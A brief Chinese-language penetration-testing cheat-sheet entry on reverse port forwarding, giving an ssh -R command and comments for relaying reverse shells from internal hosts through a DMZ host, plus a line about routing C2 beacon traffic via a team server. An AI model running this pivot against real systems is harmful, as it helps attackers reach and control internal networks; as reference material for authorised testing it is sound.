反向端口转发
这对通过 DMZ 从内部主机获取反向 shell 非常有用:
ssh-idmz_key-R<dmz_internal_ip>:443:0.0.0.0:7000root@10.129.203.111-vN# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000# Note that port 443 must be open# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems# and change the line "GatewayPorts no" to "GatewayPorts yes"# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)

在团队服务器中打开一个端口,监听所有可以用来通过beacon路由流量的接口。
